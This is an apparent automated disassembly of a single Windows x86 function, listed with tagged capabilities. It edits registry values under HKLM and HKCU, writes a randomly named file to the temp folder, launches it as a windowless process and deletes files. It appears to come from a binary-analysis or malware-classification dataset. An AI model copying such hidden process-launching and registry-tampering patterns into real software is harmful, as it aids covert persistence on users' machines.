Function at 0x408374
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Delete file
Get common file path
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a8
push ebx
xor ebx, ebx
mov dword [ebp - 0xc], ebx
call fcn.00407e22
test eax, eax
je 0x408394
xor eax, eax
inc eax
jmp 0x4087c7
push esi
push edi
call fcn.00406f34
mov esi, 0x412390
test eax, eax
jne 0x4084b7
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x180]
push eax
push ebx
push ebx
push 0x410264
call fcn.0040745a
add esp, 0x14
test eax, eax
jle 0x4084b0
cmp byte [ebp - 0x180], bl
je 0x4084b0
cmp byte [ebp - 0x38], bl
je 0x4084b0
lea eax, [ebp - 0x180]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x4083e8
sub eax, edx
lea eax, [ebp + eax - 0x181]
cmp byte [eax], 0x5c
jne 0x4083ff
mov byte [eax], bl
cmp byte [0x4121e5], 0x60
jb 0x40849c
push 4
pop edi
lea eax, [ebp - 8]
push eax
push 0x103
push ebx
push 0xb7
push 0xa9
push 0x35
push 0x410724
push esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], edi
call fcn.0040254d
add esp, 0x14
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40849c
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0x180]
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x408479
cmp dword [ebp - 0x18], edi
jne 0x408479
cmp dword [ebp - 0xc], edi
jne 0x408479
cmp dword [ebp - 4], ebx
je 0x408493
push edi
lea eax, [ebp - 4]
push eax
push edi
push ebx
lea eax, [ebp - 0x180]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push esi
call fcn.0040ee85
add esp, 0xc
jmp 0x40860e
xor eax, eax
jmp 0x4087c5
mov dword [ebp - 4], ebx
cmp dword [0x412cd4], ebx
je 0x40860e
cmp dword [0x412cd0], ebx
je 0x40860e
lea eax, [ebp - 8]
push eax
push 0x101
push ebx
push 0xb7
push 0xa9
push 0x2e
push 0x4106c0
push esi
call fcn.0040254d
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0x14
push eax
push 0x80000001
call edi
test eax, eax
jne 0x40858f
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [0x412cd0]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40856d
cmp dword [ebp - 0x18], 1
jne 0x40856d
cmp dword [ebp - 0xc], ebx
jbe 0x40856d
push dword [ebp - 0xc]
call fcn.0040ec27
pop ecx
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x40856d
lea ecx, [ebp - 0xc]
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push dword [0x412cd0]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x40856d
push dword [ebp - 4]
call fcn.0040ec89
pop ecx
mov dword [ebp - 4], ebx
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 4], ebx
je 0x40858f
push dword [0x412cd4]
push dword [ebp - 4]
call fcn.0040ef2c
pop ecx
pop ecx
test eax, eax
je 0x4085f1
lea eax, [ebp - 8]
push eax
push 0x103
push ebx
push 0xb7
push 0xa9
push 0x2e
push 0x4106c0
push esi
call fcn.0040254d
add esp, 0x14
push eax
push 0x80000001
call edi
test eax, eax
jne 0x4085f1
mov edi, dword [0x412cd4]
mov eax, edi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4085ca
sub eax, ecx
inc eax
push eax
push edi
push 1
push ebx
push dword [0x412cd0]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100
push ebx
push esi
call fcn.0040ee85
add esp, 0xc
cmp dword [ebp - 4], ebx
je 0x40860e
push dword [ebp - 4]
call fcn.0040ec89
pop ecx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 4], ebx
cmp byte [0x412240], bl
je 0x408661
push ebx
lea eax, [ebp - 0x10]
push eax
push 0x412240
call fcn.004067cd
add esp, 0xc
mov dword [ebp - 4], eax
cmp byte [0x412240], bl
je 0x408661
cmp eax, ebx
je 0x408661
mov eax, dword [ebp - 0x10]
cmp eax, dword [0x41223c]
jne 0x408661
push ebx
push eax
push dword [ebp - 4]
call fcn.004024cb
add esp, 0xc
cmp dword [0x41236c], eax
je 0x4087b4
mov edi, 0x412d70
cmp byte [0x412d70], bl
jne 0x4086f3
push edi
push 0x12c
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push edi
call fcn.004082c0
pop ecx
mov dword [ebp - 0x14], eax
call fcn.0040ed00
and eax, 3
add eax, 5
mov dword [ebp - 0x10], eax
cmp eax, ebx
jle 0x4086bd
call fcn.0040ed00
xor edx, edx
push 0x1a
pop ecx
div ecx
mov eax, dword [ebp - 0x14]
add dl, 0x61
inc dword [ebp - 0x14]
dec dword [ebp - 0x10]
mov byte [eax + 0x412d70], dl
cmp dword [ebp - 0x10], ebx
jg 0x40869a
push 0xb7
push 0xa9
push 5
push 0x4106a8
push esi
call fcn.0040254d
push eax
mov eax, dword [ebp - 0x14]
lea eax, [eax + 0x412d70]
push eax
call fcn.0040ef5b
push 0x100
push ebx
push esi
call fcn.0040ee85
add esp, 0x28
push edi
call fcn.00406c18
pop ecx
test eax, eax
je 0x4087ae
call fcn.00407e7b
test eax, eax
jne 0x4087a7
push 0x44
pop esi
push esi
lea eax, [ebp - 0x7c]
push ebx
push eax
call fcn.0040ee85
push 0x10
lea eax, [ebp - 0x28]
push ebx
push eax
mov dword [ebp - 0x7c], esi
call fcn.0040ee85
add esp, 0x18
push edi
lea eax, [ebp - 0x1a7]
push eax
mov byte [ebp - 0x1a8], 0x22
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x1a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x1a8], 0x22
mov byte [ebp + eax - 0x1a7], bl
call fcn.0040801b
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x7c]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x1a8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40879b
push dword [ebp - 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x28]
call esi
jmp 0x4087b4
call fcn.00407f32
push ebx
call fcn.00407ef9
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov byte [0x412d70], bl
cmp dword [ebp - 4], ebx
je 0x4087c2
push dword [ebp - 4]
call fcn.0040ec89
pop ecx
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret